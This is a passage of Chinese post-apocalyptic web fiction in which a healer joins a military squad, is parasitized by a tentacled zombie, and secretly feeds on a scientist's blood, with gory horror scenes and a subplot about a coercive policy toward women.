江林的目光落在其中某个领头男人的身上,林铭瑄,雪豹特调小队的队长,上辈子石欢姐弟的队长。 末世难得刚正不阿的正直人。 所有人在他眼前都是一样的,不论异能者还是普通人,错就是错,对就是对,他心中有一道无法被打破的原则。 但队伍中只要是不背叛,不违背队规的人都会被保护在他的羽翼下。 “你们要去哪?只有你们三个小同学吗?”主动朝着他走来的是一个女性,干脆利落的马尾,深蓝色的作战服,她身后的藤蔓还未完全收起来,是一位木系异能者。 “不,还有一个哥哥在车上。”江林摇摇头,脸上的笑容毫无攻击性,温和的神情很容易让人卸下心防,他看向她手上被变异狼咬出的血痕,伸手想要握住她的手。 女人下意识地想要躲开。 “我是治愈系异能,我可以帮你的伤口愈合。”江林弯着明媚的眸子,根根分明的修长手指悬着空中。 “是吗?那谢谢你。”杜晓菲不再躲,她也有义务探查出几人的异能情况,且少年的笑容让人根本无法拒绝啊。 “我给姐姐变个魔术。”江林手指轻轻遮住她的伤口,“看,伤口不见了。” 杜晓菲哑然,他们队伍中也有治愈系的异能者,可是因为变异种造成伤口含有病毒,治愈系异能只能治疗一些皮外伤,而从未见有人这么快地治疗好伤口,就是一秒钟。 她顿时心中一惊,赞叹道:“你好厉害啊。” 因为江林展示的这一手以及太过温良的态度,很快让特调小队接受了这几个同伴,在知道他们想去蓝天基地后,更是觉得有缘。 “老大你的伤也让小江给你治治?”林铭瑄耳边响起提议,队伍中有进行社交的杜晓菲,很多事他都不用他亲自去处理。 “而且老大,那两个小孩都是空间系异能者,小晴死了,可以让他们跟着我们去运送物资。”林铭瑄看了一眼说话的小舟。他身体在上一场对战中受了不小的伤,甚至队伍中的空间系异能者还意外死亡,任务可能会就此失败。 “可以,你让他过来。” 这支队伍在旁边的小基地落脚,顺便将大卡车里救下的幸存者安顿下来,特调小队里面的队医在给林铭瑄治伤的时候提出了让江林来试试的意见。 江林刚刚洗完澡,换上了干净的衣服,便有人来请他去帮忙,他自然是欣然答应。 这边地下城,像是蜂巢一般,房间很小,住的人鱼龙混杂,基地领导人倒是想特殊对待他们,但是被他们队长拒绝,不想搞特殊待遇。 江林跟着人来到了林铭瑄的房间。房间内仅能容纳一个房间,连窗户都没有,头上仅有排气管能保持供氧和通风。 江林的房间还算好的,有洗浴间,林铭瑄住的房间连厕所和洗浴间都没有,需要去公共厕所。 他也就不难理解上辈子石欢为什么会选择这样一位队长,有责任心,不会滥杀无辜,一身正气,顶天立地 只是可惜——死得早。 “你好,林铭瑄。”靠在床上的男人作战服脱在旁边,露出精壮的身体,流畅紧致的肌肉,胸口和腹部都缠着绷带,纷纷沁出血迹,他看向江林的神情没有其他的情绪,仅仅是对待陌生人般。 “我叫江林,你可以叫我小江或者小林都可以。”江林脸上带着笑,表情恰当温柔。 “小江看起来脾气很好啊。”小舟自然熟地说道:“今天可能要麻烦你看一下老大的伤……能不能治?” “好的,我尽量试试。”江林坐在林铭瑄床边,将他上半身的纱布轻轻剥落,白色的纱布混着带血的皮肉被撕扯。 江林这个过程中都释放着异能抚慰他疼痛的神经。 林铭瑄不管是疼还是舒服,从始至终表情都没有任何的变化,视线静静观察着江林,但身体的感觉没有觉得难以接受的痛苦,要知道从前换药的时候,就没这么轻松了,感觉要脱层皮。 江林黛色的眉头蹙起,看向他的伤口,皮肉边沿明显带着不正常黑褐色,横穿腰腹的伤口,三道很深的爪痕,伤口像是在不断向下腐烂。 “啧,明明中午才换完药,怎么又”小舟看了一下他的伤口,狠狠倒吸一口凉气。 “那变异种到底是什么鬼东西。” “可能需要把伤口这些烂掉的肉切掉”江林凝重地说道,才抬眼看向林铭瑄,“你OK吗?” 林铭瑄点了点头,“可以。” “有酒精吗?”江林看向小舟,“我酒精过敏,需要你帮忙消下毒。” 小舟没拿他的小刀,拿出自己医疗箱里专业的手术剪,原本想自己来的,但摸不清江林的脾气会不会感觉自己被质疑了,便没开口。 江林低下头,认真将他烂肉剪掉,没有麻药,靠着他的意志力硬抗。林铭瑄额前冒出一点细汗,他目光看着江林的手,白皙的手和古铜色的肌肤映衬着。他动作很小心,手也很稳,有轻软的手指落在他小腹上,一点点暖光在指尖亮起。 林铭瑄感觉到自己伤口的尖锐痛感减缓不少。 江林轻轻呼出一口气,擦了擦脸上的汗,放下剪刀,掌心的暖光更加亮了些。 小舟也是治愈系异能者,他看得格外仔细,发现江林的状态有些不对劲,便想要叫停,可是又不好打扰。 直到江林主动停下,身形晃动了一瞬,手落在男人坚硬的腹肌上,白得反光的手背。他无意识地抓了一下,支起身体,看着那还未完全愈合的伤口,拧着眉,有些苦恼地说道:“没治好,我的异能耗尽了,我明天就可以治好你了,你不用担心。” 小舟看着那泛出粉红的血肉,咽了咽口水,连忙道:“没事,剩下的交给我。” 林铭瑄穿好自己的外套,看着毫无防备的少年,低声道:“等到了基地,你和我一起去领物资。” 他不可能白白让江林给他们队伍的人治疗,论功行赏也是他的原则。 “好。”江林也不推辞,“那我先回去休息了。” 等他离开,小舟才压低声音问道:“这是净化异能还是治愈异能?” 林铭瑄没说话,但表情已经了然于心,“人看着有点呆,安排人保护好他。” 第57章 等江林回到房间, 没几分钟门又被敲响,白天手受伤的女变异者拿着保温盒过来的,手上还提着几个纸盒子:“你们还没吃东西吧, 拿去吃。这是我们队伍的衣服,你试试看合不合身。” “谢谢, 这太客气了,我们有衣服穿”江林笑了笑,给她倒了杯水。 杜晓菲将东西放下, 接过水,润了润喉, 语气轻柔地开口:“收下吧,我们队伍的作战服是特殊材料定制的,根据人体体温主动调节,不用再担心恶劣的天气啦。” 说到这个,江林便有些心动了,也不是真的想要拒绝。 他送走的杜晓菲, 拿着东西去找方向阳, 方向阳就住在他隔壁, 他敲了敲门。 门打开后,戴着白色口罩的方向阳手上戴着手套, 正拿着一瓶酒精消毒房间。 “方博士你也不嫌麻烦。”江林小声的嘀咕了两句, 挤开他,径直朝着里面走去。 方向阳放下喷到一半的酒精,关上门, 江林放下保温盒,其中一半已经给石欢姐弟送去了,里面是简单的米饭和蔬菜以及一些难得一见的肉类。 “这是他们给我们快来一起吃吧。”江林夹了一块萝卜, 想到什么,问:“博士,你去蓝天基地不会不开心吧?” “你都已经和他们说了,我不开心你就不去了吗?”方向阳冷淡地说道,在他对面坐下,语气云淡风轻。 “咳咳。”江林有些心虚地咳嗽了一声,轻轻戳着米饭:“你不是说只要跟我在一起就好了吗?” 这话虽然没错,他的确是想要研究江林身上的特殊,但为什么乍一听,这么不对劲? “不过能有一个大基地落脚其实也不错对吧,最少我们不用到处流浪啦。”江林弯了弯眸子,然后又收敛了一点表情:“如果你不喜欢,我们可以商量商量。” “没什么不喜欢。”方向阳对于这些东西不怎么在乎,去哪都一样。 江林留下衣服离开,温柔和方向阳说了晚安 “储存粮仓的基地处于西北的绿洲之下,是末世前就储存好的资源,数量不小,小欢你的空间够大吗?”江林和石欢跟着队伍来了西北,石林和方向阳被两人安排先回基地。 石欢如实回答:“大概几个足球场大小够吗?” 杜晓菲笑着回答:“当然够了。” “小欢好厉害。” 石欢腼腆地笑了笑,仰脸看向江林,一脸求夸奖的表情。 江林伸手揉了揉他的脑袋,也跟着夸奖道:“最棒啦。” 急速赶路,大概两天便能到,十来人的队伍,因为队伍里有掩盖气息的异能者,一路上都没有遇见丧尸围攻,有些地方破坏坍塌严重,便只能在原地休息。 “凭什么?凭什么他有肉吃?”在赶路期间又收留了几个骨瘦如柴的幸存者,他们吃着简单的白粥和馒头。 饿得头晕眼花,早就失去了审时度势的能力,双眼只有那点馋得流口水的食物,其他人不敢得罪,看起来就江林似乎好惹一些。 江林手上有石欢给他准备他的肉干,石欢给队伍里其他人也给了,但是没有给那些新收留的人。 那些人混迹在末世,双眼露出贪婪之色,只看江林长得嫩,想要拿捏软柿子,并且他看人很准,江林这种人一看就很心软。 果不其然,便见江林拧了下眉,似乎想起身把自己那份给他们三个分食。 石欢一把按住他的胳膊,像是护师的母鸡似的,双手一叉腰,便朝着三人骂了起来:“你们三个大男人是没长手还是没长脚,想吃什么不会自己去找吗?救你们一命还嫌吃得不够饱,真的够恶心的,不如死掉算了。” 石欢的东西给这个队伍其他人,那是因为人家对她也不错,而且日后还要投靠他们,她为什么要给不相干的人自己的物资? 这些人还道德绑架江林,她知道江林的性格,回头看着江林,双眼一红委屈地看着他:“你要把我给你的东西送给别人吗?那我的东西也给他们好了,全都给他们,我和弟弟都不吃了” “这”江林当然不可能让石欢因为自己的原因吃亏。 就在两人对视的时候,原本蠢蠢欲动的三人直接被打晕了拖到后车,动手的男生露出一点阳光的笑容:“没事,这件事交给我来处理,给他们多吃点‘肉’” 正好将几人交锋看在眼里的林铭瑄拧了下眉,心中对江林的评价又多了几个——心软、容易被道德绑架、放在末世很容易被吸干每一滴血的一类人。 江林躺在放倒的椅子上,透过车窗,看着外面血色的月亮,星星早就隐没在黑夜中,笼罩在血色的月光下,隐隐泛着红光。 他正在发呆,正在守夜查看的林铭瑄视线扫过他的车窗,看见他正睁大着眼睛发呆,在他眼前打了个响指。 江林倏地回神,对上林铭瑄幽黑的眼,轻声喊了一声:“队长。” 他轻手轻脚的下车,跟在林铭瑄身后。 “怎么还不休息?”林铭瑄落后两步,两人并肩走在一起。 “有点睡不着。”江林诚实道。 “害怕?”林铭瑄问。 “不是”江林连忙否认,然后突然说:“其实我之前见过你。” “?”林铭瑄和他对视一眼,两人踩在细砂中,迎面吹来咸涩的风。 “五年前您和您的哥哥一起以联邦最高分考入了第一军校。” 当时铺天盖地地报道,说林铭瑄兄弟是联邦最强双子星。 林铭瑄这才收回疑惑的视线,想到那段时光只觉得遥远。 “其实我报考的也是第一军校,但还没等来消息就末日了。”江林叹了一口气,寂寥的夜,心中似乎涌起一些想要倾诉的情绪。 “之后联邦会重启学校,你可以继续上学。”林铭瑄平淡地说道,人类不可能一直处于末世的恐慌中,人类需要学习和不断进步才不会被其他东西取代。 “嗯,到时候我一定会去的。”江林回答,“那我先回去休息了,林队长继续加油,我这里还有一点零食,给你解解乏吧。” 他将口袋里的小零食塞进林铭瑄手上,回到车上继续睡觉。 联邦最强双子星,哥哥林政钰现在是蓝天基地的三把手,三年之后,林政钰便会成为最年轻的基地长,而弟弟林铭瑄却因为被寄生异化而被哥哥亲手杀死。 双子星就此陨落一星。 到达目的地,此处像是被遗失的村落,里面的建筑还算完好,但随处可见的斑斑血迹,断肢残骸散落在地上,没有任何活人的气息,没有任何声响,但又看不见任何丧尸。 这里原本是人类划定的避难所之一,但由于这处被全军覆灭,只能转移物资。 林铭瑄拿着仪器找到了地下粮仓的地点,使用特殊的开锁工具,轰隆一声,门缓缓升起,出现一条径直向下的通道,他检查一下,并没有被打开的痕迹。 “杜晓菲你带着人进去装物资。”林铭瑄让杜晓菲带着一半人下储粮仓,自己则和其他人守在门口:“有危险随时求救。” 江林扫了一眼周围的环境,浅色的灌木丛,旁边那栋高高的楼,来的时候瞅见了名字——仁雅医院妇科医院。 医院看着很新,像是新建的,七八层楼高,却空荡荡地不见人影,只能瞧见那破碎的玻璃,以及墙壁上挂着的尸体 太安静了,安静得江林身体有点发毛。 林铭瑄似乎也察觉到什么,见他单薄的身躯,抬脚朝着江林的方向靠了靠,精神力缓缓碾压覆盖到了整个地区。 他是双系异能者,精神系和金系都是攻击性极强的异能。 很细微很细微的移动声,草地上很轻的踩踏声。 “有东西过来了。”林铭瑄提醒道,“华菱风从你那边过来的!” 话音落下,林铭瑄便感觉空气中的风都更快了些,刮着脸上的皮肉,视线紧紧盯着那浓密的灌木,直到从里面爬出一个个小孩 江林眼瞳微微一缩,场面过于血腥和恐怖,那些小孩儿全部都是血淋淋的,有些像是刚刚从母亲肚子里爬出来,一些眼睛和手都未成型,像是未足月便从母亲肚子破土而出。 他们双眼都是漆黑的,嘴里带出獠牙,四脚朝着他们飞快地爬来,肚子上还有脐带相连,每个人身后走出来一个开膛破腹的女丧尸 根本不给他们反应,直直朝着几人爬来,如同蝗虫侵袭苞米地,林铭瑄的身体化作金属的长刀,飞快杀向眼前的婴儿丧尸,没有半点怜惜,异化之后便成了人类的敌人。 江林表情有些凝重,那些婴儿丧尸动作非常灵巧,肚子上的脐带不是它累赘,反而成了武器,能够将人死死缠住,有人差点被束缚住手脚,被咬断了脖子。 林铭瑄手中金属飞刀直戳身后女丧尸的脑袋,等女丧尸死了之后,那些婴儿便像是失去了营养了一般,逐渐变得干瘪,动作也开始迟缓。 江林和林铭瑄背靠着背,他解决他背后偷袭的丧尸,但其实是有些吃力的,只是在咬牙坚持,那些丧尸围绕着几人,无穷尽般发起攻击。 迎面飞来的血盆大嘴,江林的刀还被另外的丧尸抓着,只能暂时用精神力控制住,下一瞬,金色的刀狠狠刺穿了他近在咫尺的丧尸脑袋,林铭瑄时刻注意着他这边的情况。 残肢乱飞,血液飞溅,就在自顾不暇混乱之际,从土地里突然窜出来的触手缠住了林铭瑄的腿,还不等他去斩断,巨大的拖拽力气便将他往灌木中拖去。 江林下意识地抓住他的手臂,两人一起被拖走了,身体摩擦着地面,树枝划破手臂,非常快的速度,根本反应不过来。 他只是紧紧抓住林铭瑄的没松手。 林铭瑄的胳膊变成坚硬的金属大刀,深深滑进土里,被切割出巨大的深痕,才勉强止住这股力气。 旋即,林铭瑄抱着江林躲开迎面而来的冲击,头顶在树上倒挂着一个男人,他怀里抱着个婴儿,正睁着大眼睛看着两人,唇角咧着笑容,仿佛在找人玩游戏。 江林抬手便朝着他开枪,但他们根本不惧怕子弹,无形的精神力打落了江林的枪,这是一位精神系丧尸。 林铭瑄把人护身后,自己的精神力朝着他碾过去,两人不分伯仲的强势,林铭瑄快步朝着丧尸冲过去,一跃而起朝着男丧尸攻去。 江林这才发现男丧尸的身体上也有触手,连接在他身后,像是深褐色的傀儡线般,控制着眼前的人。 丧尸落地,看见树叶上有沙沙作响的声音,仿佛一张密密麻麻的网铺天盖地地压下来,而这时的林铭瑄刚刚砍掉了丧尸婴儿的脑袋,谁知道它的身体紧紧抓着他的手,男丧尸也诡异一笑,任由身体被刺破,抓着他的手臂将他固定一秒。 “小心!”江林看见林铭瑄身后突然瞬间出现的触手,直直朝着他的命门而去。 他没有犹豫挡在林铭瑄身后,只来得及斩断了两根触手,紧接着他的四肢被包裹着,原本想要撕烂他身体的触手,在舔舐到他脸上的伤口后,朝向林铭瑄攻击的攻击,尽数停下,全部缠向了江林。 江林感觉自己后颈传来刺痛,有什么冰冷的东西滑了进去,他想他大概知道林铭瑄是什么时候被寄生的了。 也只是两秒的时间,林铭瑄便冲破了束缚,朝着江林奔来,彼时江林正被束缚在空中,手脚都被缠住,他斩断这些束缚,那原来来势汹汹的触手,瞬间便溃败了下来。 江林脸色有些白,眼前有虚幻一片,身体也沁出冷汗,有什么东西在他身体里扎根、渗透、意图控制。 “你怎么样?”林铭瑄拍了拍他的脸,见江林意识不清晰,瞳孔溃散,头一歪,晕倒在林铭瑄肩膀上。 他忍不住拧起眉,心底一急,抱住他的身体。 他重回粮仓外后,那些丧尸死的死,逃的逃,不见了踪影。 任务圆满完成,成功转移了物资,只是江林还是昏迷不醒。 众人找了邻近的基地进行休整,受伤的人不少,林铭瑄把江林放在自己房间,一个双人间两张床,时刻关注他的状态。 床上的少年脸色惨白,嘴唇都毫无血色,额前都是冷汗,身体在瑟瑟发抖,仿佛置身在寒冷中。林铭瑄不放心其他人守着,江林身上有咬伤,是有概率异变成丧尸的。 林铭瑄揉了揉眉心,表情凝重,他知道如果不是江林现在躺在这里的人就是他,当时那种情况他很难逃脱得了 他脑海中出现江林没有丝毫犹豫的身影,不过才认识几天的人,他不敢想如果江林遇见一个黑心肝的,只怕是要被骗得裤衩子都不剩了。 时间非常煎熬,石欢来找了江林几次,都被带走了。 林铭瑄的视线一直锁在江林脸上,心越来越沉,直到少年睫毛微微颤抖,眼皮雪白浅色青筋隐约可见,湛蓝的眼瞳泛着水光看向他,他表情有些懵懂:“林队长?” 林铭瑄随着这一声林队长心才放下一半,“你感觉怎么样?” 江林接过林铭瑄给他倒的水,揉了揉脑袋:“感觉像是感冒了,浑身冷得发抖,眼睛也睁不开” 林铭瑄盯着他的表情:“没有其他的异样吗?” 江林摇头,真诚地说道:“没有。” “等回基地再说。”林铭瑄松了一口气,语气难得柔和一点,开玩笑地说道:“还好你没事,不然我真不知道该怎么和你小妹交代,她快要发飙了。” 江林失笑,喝了口水,润了润异常干涸的喉咙,垂下眼皮,眼底有丝丝红光闪过,他刚刚的确被寄生了,寄生物意图剥夺他的意识,最终被他反杀,但身体好像有些不对劲了。 比如现在他的身体里有蠢蠢欲动的东西叫嚣着他杀掉眼前的人,吸干他身上的血液,让他成为自己食物粮仓 完蛋了,他这个圣父可能要装不下去了呀。 第58章 经过这场事件, 林铭瑄自然而然地对江林更加看重和亲近,回到基地之后,更是全程没有假手于人地将他的事情全部安排妥当。 江林也进行了一系列的检查, 没有任何异样,只是身体有些虚弱, 俗称低血糖,营养不良。 方向阳此刻已经进入了蓝天基地的研究院,不过三天的时间, 便受到了林政钰的“召见”,将人拉到了自己的阵营中。 蓝天基地看着比金溪基地好上不好, 井然有序的街道,人们穿着完整保暖,脸上的表情虽然麻木,却不惊恐。地上城和地下城界限并不明显,基地正在建设完善,需要大量人力物力, 只要想活下去, 蓝天基地能提供就业, 保障一个人的基本生存。 江林依旧和方向阳以及石欢姐弟住在一起。 “队长让你们和我们一起去见林部长。”杜晓菲依旧一身笔挺利落的作战服,手上抱着帽子, 露出清秀的脸。 “好。”江林也想见见这位林部长, 上辈子的江林曾经被李野行送给林政钰,原主被圈养过一段时间。 在偌大的会议厅内,大圆桌上摆放着一道道美味佳肴, 如同宫殿般的建筑,欧式风格的建筑,就算末世前也要说上一句豪华奢侈的存在。 江林坐在林铭瑄旁边, 视线在一道道菜肴掠过,拿着温热的毛巾擦了擦手,小声道:“林部长什么时候来?” 林铭瑄一眼看出他的想法,给他从侍从手中端来一碗汤,放在他跟前:“开胃汤,每人都有一盅,你先喝。” “谢谢。”江林刚拿起勺子,便听见开门声,同时周边这些人全部站了起来,他只能放下勺子,同样站起来迎接来人,透过重重背影,看见了一个和林铭瑄长得很像的人。 林政钰和林铭瑄是双胞胎,长得七八分像,但气质截然不同,不会有人将两人认错。 林政钰温润如玉,给人的感觉像水,润物无声,林铭瑄则浑身透着硬朗,像是一个不易弯折的钢板。 他自然地坐在主位上,身后跟着两个持枪的保镖,姿态很足,笑容安抚:“这次辛苦大家跑一趟,结果喜人,军部一定会论功行赏。在座各位有任何难处或者需求都可以直接和我说,末世特调小队虽然是临时成立,但你们是从各个部队调动的精英人才,也许这个小队维持很久,直到末世结束。我们的任务是保护人类家园,延续人类火苗” “还听说这次我们蓝天基地又非常有荣幸地获得了两名优秀人才的青睐,欢迎欢迎。”林政钰朝着江林点头示意,礼貌客气。 江林回了一笑,这人给他的感觉便没有林铭瑄这么舒服,脸上表情虽然真诚,但他知道林政钰是一个冷酷的政客。 他的心思不如林铭瑄那么正直直白,为了爬上更高的位置,甚至可以亲手杀死自己的亲弟弟,能是什么好人呢。 江林并不需要展示什么特殊,他还是一个小小的人物,得不到林政钰的特殊对待。 林铭瑄便瞧见旁边的少年埋头苦吃,虽然他哥的厨师确实不错,但也不至于把整张脸都埋进去吧? “你这么饿吗?”林铭瑄忍不住开口问道。 江林擦了擦嘴,脑袋凑过去:“还好,怎么了?你要和我聊天吗?” “不了,你吃吧。”林铭瑄视线又转向被簇拥着的哥哥,再看看毫无谄媚姿态的江林,表情平淡。他知道他和林政钰是一体的,他们都代表着林家,但不代表他就认同林政钰的一切做法。 比如最近一个蓝天基地朝中央的提案,他就是非常反对的——关于‘保护’普通女性的提案。 明面上说是考虑到普通女性末世生存的危险指数极高,所以建议将她们全部转移到其他地方进行同一‘保护’,说是保护其实是圈养,让她们利用身体为人类延续作出贡献 这相当于剥夺了普通女性的人权。 此时提案还未通过,只是提出,很多人都不知道。 像这种事情,上面的人一旦通过,底层的人根本没有能力拒绝,现在这种情况下。 所以在这次任务之前,林铭瑄才和林政钰大吵一架,差点动起手了,但他哥是普通人,根本不是他的对手。 “林队长,厕所在哪?”江林的声音唤醒了林铭瑄的回忆。 林铭瑄起身带着他去找厕所,江林进了厕所,他站在走廊外看着外面的风景,偌大的蓝天基地,宛如一个繁华的城池,远处在不断扩建,壮大蓝图,进入末世快半年了,末世前安静的生活恍如隔世。 “弟弟。”男人温润的嗓音在身后响起。 林铭瑄转头,目光平静地看着林政钰,他的两大金刚寸步不离地跟着他。 “还在生我的气吗?”林政钰露出一点无奈的神情,看着硬朗如钢的弟弟,“特殊时期,特殊手段,新生儿统计急速减少,如果不采取一些必要手段,也许人类将岌岌可危。” “特殊时期,有特殊情况不是正常的吗?而且女性和男性觉醒异能的比例几乎持平,这就说明女性不比男性弱。”林铭瑄声音沉稳却暗带着丝丝尖锐。 “这些问题我们立场不同,不必多余争论,等着上面安排就行了。”林政钰并不想和这个弟弟闹掰,“这次你们带回来的两个异能者,是打算收编在特调小队吗?” “他们能力很不错。”林铭瑄点了点头,下颌线紧绷,对于他避而不谈的态度有些不满。 林政钰眉梢轻轻一挑,有几分漫不经心地温柔:“你好像对那个叫江林的格外关注?是因为他长得好看吗?” 林铭瑄愣了一瞬,旋即摇头:“没有” “你从前可都不会陪我来上厕所,小时候在学校,晚上我害怕让你陪我,你都不肯,而是把我臭骂一顿。”林政钰对于儿时的记忆也记得清清楚楚,语气带着控诉般。 林铭瑄根本不记得这一茬,眉梢微微一拧,还想说什么,但江林朝着两人走来,便纷纷止住了话头。 “林部长,林队长。”江林乖巧喊人,像个小孩似的朝着两人点了点头。 林政钰伸手,眉眼温柔如水,“很高兴认识你,江林。” 江林握住林政钰的手,细腻温柔带着湿意的手轻轻一握。 林政钰端详了他一瞬,很漂亮的一个男孩,肌肤雪白,眼瞳却是如海水般的蓝色,雪色的睫毛和头发,辨识度极高,只要见过一面便很难忘记了。 而林政钰发现一个很有意思的现象。 江林在两人对视两秒之后,视线轻轻避开他的,而藏在发后的耳朵逐渐漫起了血色,两人手指相触便离开。 “我带人先走了。”林铭瑄没有察觉到任何的异样,不准备和他多聊。 林政钰视线轻轻落在江林身上,眼底闪过一丝深意,半晌,唇角轻轻弯了弯。 结束完晚餐,江林是林铭瑄专车送回家的,彼时方向阳正在客厅沉默地坐着,手里在翻看什么全外文的资料。 方向阳和江林也有将近一星期不见了。 江林凑到他身边,低头去看他手上的资料,没看懂又放弃了。 “平安回家咯。”江林靠在沙发上,谨记他的洁癖,没有紧贴着他。 方向阳放下手中的材料,视线缓缓落在江林身上,细细地打量,像是在保证他的完整性。 “你身上发生了什么?” 江林的表情便僵住了一瞬,这才想起来他的手臂上还被他植入了芯片,方向阳对他身体的监控比他自己还仔细。 所以他的一丝异样都逃不开他的眼睛。 “我没事”江林像是瞬间紧张起来,站起身来,转身想要逃。 方向阳抓住他的手腕,阻止他的逃避,他的语气很冷静:“逃避能解决问题吗?江林。” 江林手心都是冷汗,表情也越发难看起来,抓着方向阳的手劲开始用力,捏得他骨头生疼。 时间静默了很久,江林再抬眼的时候,眼眶渐渐红了起来,目光逐渐无助望着,瞳孔有深深的恐惧:“我好像坏掉了,博士” 方向阳的目光毫无变化,非常冷静,给人一种就算天塌下来他也能扛住的错觉,如同强力针。 “怎么了?” 江林将方向阳带到了自己房间里,许是害怕吓到石家姐弟,他张开自己的掌心,从白皙的肌肤上冒出一点深褐色的小触手,像是张扬游动的水草。 “我好像变成怪物了,怎么办?”江林双眼闪烁着淡淡的血光,孤孤零零站在原地,展示自己异于常人的变化。 方向阳表情没什么变化,视线紧紧盯着那极为怪异的现象,少年的模样没有任何变化,但触手却在身后不断筑巢生长,不过几息之间触手便占据了大半个房间,挡住了窗户,遮住头顶的灯光。 “方博士,你再不跑的话,我就要吃掉你咯。”江林静静地看着他,虽然这么说却没有展示自己的攻击性,双眼似乎有悲伤和害怕,害怕被嫌弃。 “江林。”相反,方向阳却没有露出一点恐惧的神情,眼底甚至冒出点点兴奋之色,看着环绕在少年身侧的强大触手,粘腻又恶心般,它们更像将江林拖入巢穴的恶魔,但反差极大的是这些都是漂亮少年的爪牙。 “你看起来很漂亮。” 他从未见过这种人类,干净纯洁又邪恶,人类和怪物的结合体。 江林原本怪异骇人的表情露出一点呆滞神情,没想到根本没吓到方向阳,反倒有点被方向阳神经质的样子吓到了。 第59章 房间内触手挡住了光线透出丝丝肉色, 大半的空间被触手占据,少年的腿从裤脚开始,也变成了触手, 不是严格意义上章鱼的触手,没有吸盘, 只是细细长长,根根分明。 若是乍然被人瞧见,只怕会吓掉半条命。 方向阳手腕的手表状仪器开始震动作响, 发出激烈的抗议,他整条手腕都在震颤, 警示着他眼前的少年是个被寄生的异种。 “你想要什么?” 江林看着他朝自己走近,下意识想要后退,但是后面被自己放出来的触手占据,退无可退。他水蓝的眸心闪烁着灿灿的红芒,苍白的肌肤,水红的嘴唇, 白色的发丝, 漂亮怪异的江林从掌心钻出一条颜色更浅的触手, 趋近于淡粉色,轻轻爬上了方向阳的手腕。 “想要”江林呢喃出声, 像是古老而深沉的低鸣声:“吃掉你。” 方向阳肌肤上缓缓传来湿濡的触感, 触手一圈圈环住他的肌肤,轻微的拉扯感,初生的触手想要展示自己的恐怖, 却没有给猎物带来恐惧感,他盯着那一小截触手:“这是你新生的触手吗?” 他已经初入研究过寄生种,虽然寄生种还未大肆出现, 但是在高层研究院里,早就出现了端倪。 “你能控制你的身体吗?江林。” 江林歪了歪脑袋,粉色的触手从方向阳手臂爬上了他的脖颈,微微收紧,如同一根绳子缠住了他的颈。 “我如果用力的话博士就死掉了哦。”江林舔了舔唇瓣,初生的粉色触手上面布满了他的感官,透过肌肤感觉到他因为兴奋砰砰作响的心脏、血管中流动的新鲜血液都促使他的触手不断缠紧,想要渗透进他身体里。 “你不会杀死我。”方向阳面容又恢复了理性,如果一只丧失理智的怪物真的要杀死他,不会和他说这么多遍,却迟迟不动手。 江林就见他不怕死的抓住自己的触手,抬眼询问:“所以你到底想要什么?” 吓人失败,江林有些挫败感,下一瞬拽着他的脖子将人拖了过来,不过顷刻间,触手紧紧缠住了两人。 四肢都埋藏在触手中,方向阳感觉身上粘腻一片,后知后觉地开始觉得恶心,后颈感觉一疼,瞳孔微微放大,近在咫尺的少年轻轻抱住他的脖子,似乎有触手划破了他的肌肤钻进了他身体里。 耳边似乎还有东西爬行、缠绕的粘腻感。 “方向阳你的身体好美味。”江林脸颊逐渐泛起潮红,珍珠晕染了血色,身体都像是被灌入了力量,兴奋的‘催化剂’在他身体里发酵,眼尾泛起红,手指几乎扣紧方向阳肌肤里。 若是有人看见这场景,只怕会刷新自己的三观,极致非人感,蛊惑人性的怪异少年和被触手即将淹没的两人,从触手间只能看见两颗人类的脑袋和少年雪白的两个手臂抱着男人的脖子。 方向阳脸色越来越白,呼吸也变得越来越急促,心跳声更是快了起来,心脏仿佛供血不足般逐渐窒息,耳边嗡嗡作响出现耳鸣的症状,他气息有些喘:“不能再继续了。” 江林像是第一次品尝美食的人,毫无节制,迫切的吃着美味,神情有些迷茫,身体传来前所未有的餍足感,眉眼弯弯,有些舍不得。他主动凑上前,像是奖励般亲吻了男人的嘴唇,商量的语气:“再坚持一下好不好?” 紧接着,不等他回答,触手淹没了方向阳的口鼻,他浑身像是蛹般被包围,只剩下一双灰色的眸子,最终认命的闭上。 江林长长呼出一口气,又听见了系统烦人的声音在脑海中响起:“宿主涉嫌人设崩塌。” “剧情中也没说主角会被寄生啊,那我被寄生也算你系统的失职,主神的无能,我差点被意识抹杀你们一点不管,现在我补充点能量,你又蹦出来了?”江林心情还不错,浑身都被暖暖的气息包围着,语气也是懒散的,但语气中的不爽显而易见。 有一种下一秒巴掌就要扇到系统脸上的感觉。 “虽然但是这算你强行改变剧情出现的意外,不属于系统失职。”系统如果不是被提醒警告也不想站出来说话,但这么大的性格转变,不得不惩罚一下。 “那你想怎么样?”江林问。 “电击以示警告。”系统说完,江林触手闪烁一丝紫色的电流,但顷刻间就消失了,身上毫无痛感,静电的感觉。 江林对于系统欲盖弥彰的行为表示不理解:“” 完全被淹没的方向阳差点以为自己真的要死在江林手上,骤然所有的触手全部都消失了。他趴在地上大喘着气,脸色如白纸般,后颈的肌肤上残留了一点暧昧的痕迹,像是吮啧过深的印记,白色的衬衣全是沁湿的水痕,但味道并不难闻。 江林蹲在地上拉着方向阳的手,像是恢复正常的人类,抓着他的手不松开,那双干净的眸子,半点不像刚刚从他身上不节制吸取血液的怪物,“方博士” “对不起。” 方向阳因为失血过多,有些眼冒金星,盘算着自己需要制造点快速造血的药剂,否则正常人也架不住江林这样折腾。 “没事”方向阳像是从水中捞出来的,反手抓着江林的手腕,开始询问:“你是怎么变成这样的?仔细和我说说。” “你会把我抓起来吗?继续拿我做实验,把我的触手全部砍掉”江林红着眼看着虚弱的他,明明有能力直接杀死他,却只是将主动权交给方向阳。 “不会。”方向阳打断他的话,望着他的眸子,脑袋供血不足有些缺氧。两人的视线对上,似乎多了一些其他的情愫,他一字一句说道:“我会成为你的供血品。” “你这是在饲养一只怪物。”江林哑然,语气有些沉。 “我知道。”方向阳抬手抹了抹他的脸,手指滑过他的眼尾:“我不在乎。” “你的意识还是清醒的对吗?”方向阳继续问,就算一丝力气也提不起来,但阻止不了他求知的心:“你的行为有被影响到吗?” “没有影响,我还是江林。”江林回答。 “好,那你手上的触手颜色不一样,是新生的?” “是的,他是我自主意识产生的,其他的不知道怎么来的” 两人一问一答被询问了十来分钟,江林才把方向阳送回自己房间里。 江林的身份在他面前败露,却没有任何影响,甚至多了一个‘补给品’,方向阳不再留宿在研究所,每天都会准点下班,然后在他自己的地下实验室内,抱着江林的触手研究。 蓝天基地一年高速发展,今年统计保守估计有五六十万人,末世后一年的生活步入平稳阶段,联邦终于腾出手来进行资源整合,关于私人基地和联邦基地的统一管理。 